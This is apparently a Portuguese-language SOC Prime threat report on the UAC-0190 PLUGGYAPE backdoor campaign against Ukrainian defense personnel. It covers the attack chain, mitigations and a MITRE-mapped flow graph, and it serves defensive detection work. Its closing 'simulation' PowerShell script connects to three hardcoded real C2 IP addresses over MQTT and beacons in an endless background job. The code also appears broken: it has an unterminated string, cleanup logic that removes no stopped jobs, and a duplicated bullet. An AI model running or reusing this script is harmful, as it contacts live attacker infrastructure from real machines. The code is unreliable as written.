SOC Prime Bias: Crítico

15 Jan 2026 19:13

“Fundo Não Confiável”: Ciberataques direcionados UAC-0190 contra as Forças de Defesa Ucranianas usando PLUGGYAPE

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
“Fundo Não Confiável”: Ciberataques direcionados UAC-0190 contra as Forças de Defesa Ucranianas usando PLUGGYAPE
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O CERT-UA revelou uma onda de intrusões direcionadas contra funcionários das Forças de Defesa da Ucrânia, com os operadores posando como representantes de fundos de caridade para aumentar a confiança e incentivar a execução. A campanha implantou o PLUGGYAPE, um backdoor personalizado baseado em Python, entregue por meio de arquivos “documentos” armados usando extensões duplas enganosas (por exemplo, .docx.pif e .pdf.exe) para se disfarçar de conteúdo benigno. Uma vez lançado, o malware estabeleceu comando e controle sobre canais MQTT ou WebSocket, usando uma mistura de domínios comprometidos e infraestrutura baseada em IP. O CERT-UA vinculou a atividade ao cluster Void Blizzard (Laundry Bear).

Investigação

Durante a análise, os respondedores coletaram múltiplos artefatos maliciosos e confirmaram que as cargas eram binários Python empacotados com PyInstaller, apresentados como arquivos semelhantes ao Office para encorajar a execução. A telemetria de rede mostrou comunicação através de brokers MQTT e sessões WebSocket para endpoints controlados por atacantes, com alguns endereços de servidor fornecidos indiretamente – incorporados como strings Base64 e recuperados de serviços de hospedagem do estilo paste. Os operadores mantinham persistência criando uma entrada no registro Run. Indicadores de infraestrutura foram corroborados através de referências encontradas em plataformas de paste (incluindo Pastebin e rentry) e vários domínios com tema de caridade usados na cadeia de engano.

Mitigação

Trate arquivos “documentos” não solicitados recebidos via mensageiros como de alto risco, particularmente anexos usando extensões duplas ou padrões de mascaramento de executáveis. Implemente uma lista de permissão de aplicativos e previna explicitamente a execução de binários empacotados com PyInstaller onde possível. Monitore por mudanças em locais comuns de persistência, especialmente modificações na chave Run. Na camada de rede, bloqueie ou controle rigorosamente a conectividade de saída para domínios maliciosos conhecidos e restrinja a saída para portas de broker MQTT associadas ao comando e controle da campanha.

Resposta

Incorpore os IOCs publicados em ferramentas SIEM/EDR e cace proativamente artefatos PLUGGYAPE em endpoints, priorizando sistemas usados por pessoal direcionado. Isole quaisquer hosts suspeitos e preserve evidências de endpoint e rede para escopo. Revise a persistência do registro – especialmente entradas Run – e examine logs de rede para padrões de tráfego MQTT/WebSocket anômalos. Escale por meio de resposta a incidentes e canais de aplicação da lei aplicáveis usando as vias de contato oficiais fornecidas pelo CERT-UA.

“graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef builtin fill:#cccccc %% Nodes initial_access[“<b>Technique</b> – <b>T1659 Content Injection</b><br /><b>Description</b>: Inject malicious files via messaging platforms”] class initial_access technique malicious_file[“<b>File</b> – Malicious documents<br /><b>Examples</b>: .docx.pif, .pdf.exe, obfuscated payload”] class malicious_file builtin user_execution[“<b>Technique</b> – <b>T1204.002 User Execution</b><br /><b>Description</b>: Victim opens the malicious file”] class user_execution technique malware[“<b>Malware</b> – Python backdoor compiled with PyInstaller<br /><b>Features</b>: Embedded payload, uses WebSocket and MQTT”] class malware malware persistence[“<b>Technique</b> – <b>T1547.014 Registry Run Keys / Startup Folder</b><br /><b>Description</b>: Adds Runu2011key for autou2011start at logon”] class persistence technique discovery[“<b>Technique</b> – <b>T1082 System Information Discovery</b><br /><b>Description</b>: Gathers OS details and hardware identifiers”] class discovery technique command_and_control[“<b>Technique</b> – <b>T1071.001 Web Protocols</b> and <b>T1102.002 MQTT</b><br /><b>Description</b>: Communicates via WebSocket and MQTT, uses Base64u2011encoded URLs”] class command_and_control technique defense_evasion[“<b>Technique</b> – <b>T1036.008 Masquerading</b>, <b>T1027.009 Obfuscated Files</b>, <b>T1497.002 Virtualization/Sandbox Evasion</b><br /><b>Description</b>: Hides binaries and checks for analysis environments”] class defense_evasion technique exfiltration[“<b>Technique</b> – <b>T1011 Exfiltration Over Other Network Medium</b><br /><b>Description</b>: Sends collected data over the same C2 channel”] class exfiltration technique %% Connections initial_access u002du002d>|delivers| malicious_file malicious_file u002du002d>|opened by victim| user_execution user_execution u002du002d>|executes| malware malware u002du002d>|creates| persistence malware u002du002d>|gathers| discovery malware u002du002d>|connects to| command_and_control malware u002du002d>|employs| defense_evasion malware u002du002d>|exfiltrates via| exfiltration “

Fluxo de Ataque

Execução da Simulação

Pré-requisito: O Check de Pré-voo de Telemetria e Linha de Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque & Comandos:

    1. Objetivo: Estabelecer um canal C2 com a infraestrutura PLUGGYAPE usando o protocolo MQTT, imitando um dispositivo IoT típico que relata dados silenciosamente.
    2. Passo a passo:
      • O atacante solta um script PowerShell que carrega a biblioteca MQTTnet. Ela cria um trabalho em segundo plano persistente que se conecta ao broker MQTT malicioso (um dos três IPs codificados) na porta padrão MQTT (1883).
      • Após estabelecer a sessão TCP, ela envia um pacote MQTT CONNECT mínimo seguido por um PUBLISH periódico com dados de comando codificados.
      • Toda a atividade de rede é realizada no contexto de uma conta de serviço legítima para se misturar com o tráfego normal.
      • All network activity is performed under the context of a legitimate service account to blend with normal traffic.
  • Script de Teste de Regressão:

    # Simulação C2 PLUGGYAPE – MQTT no Windows
    # Requer MQTTnet (instalado via Galeria do PowerShell)
    # ---------------------------------------------------------
    # 1. Instalar MQTTnet se estiver faltando
    if (-not (Get-Module -ListAvailable -Name MQTTnet)) {
        Install-Module -Name MQTTnet -Scope CurrentUser -Force
    }
    
    # 2. Definir endpoints maliciosos C2
    $c2IPs = @('193.23.216.39','108.165.164.155','176.9.23.216')
    $c2Port = 1883
    
    # 3. Escolher aleatoriamente um servidor C2 para simular uma seleção realista
    $targetIP = $c2IPs | Get-Random
    
    # 4. Construir cliente MQTT
    $factory = New-Object MQTTnet.MqttFactory
    $client  = $factory.CreateMqttClient()
    $options = [MQTTnet.Client.MqttClientOptionsBuilder]::new()
                 .WithTcpServer($targetIP, $c2Port)
                 .WithClientId(([guid]::NewGuid()).Guid)
                 .Build()
    
    # 5. Conectar e começar a publicar em um trabalho em segundo plano
    $scriptBlock = {
        param($client,$options)
        try {
            $client.ConnectAsync($options).GetAwaiter().GetResult()
            Write-Host "Conectado ao C2 PLUGGYAPE em $($options.ChannelOptions.Server)`
    
            # Enviar uma publicação de keep-alive simples a cada 30 segundos
            while ($true) {
                $msg = [MQTTnet.MqttApplicationMessageBuilder]::new()
                           .WithTopic('data/heartbeat')
                           .WithPayload('alive')
                           .WithExactlyOnceQoS()
                           .Build()
                $client.PublishAsync($msg).GetAwaiter().GetResult()
                Start-Sleep -Seconds 30
            }
        } catch {
            Write-Error "Conexão C2 falhou: $_"
        } finally {
            $client.DisconnectAsync() | Out-Null
        }
    }
    
    # Iniciar o trabalho (executa em segundo plano)
    $job = Start-Job -ScriptBlock $scriptBlock -ArgumentList $client,$options
    Write-Host "Simulação do trabalho C2 PLUGGYAPE iniciada (JobId=$($job.Id))."
  • Comandos de Limpeza:

    # Pare o trabalho em segundo plano e certifique-se de que o cliente MQTT se desconecte
    Get-Job | Where-Object {$_.State -eq 'Running'} | Stop-Job -Force
    Get-Job | Where-Object {$_.State -eq 'Running'} | Remove-Job -Force
    Write-Host "Simulação C2 PLUGGYAPE parada e limpeza completa."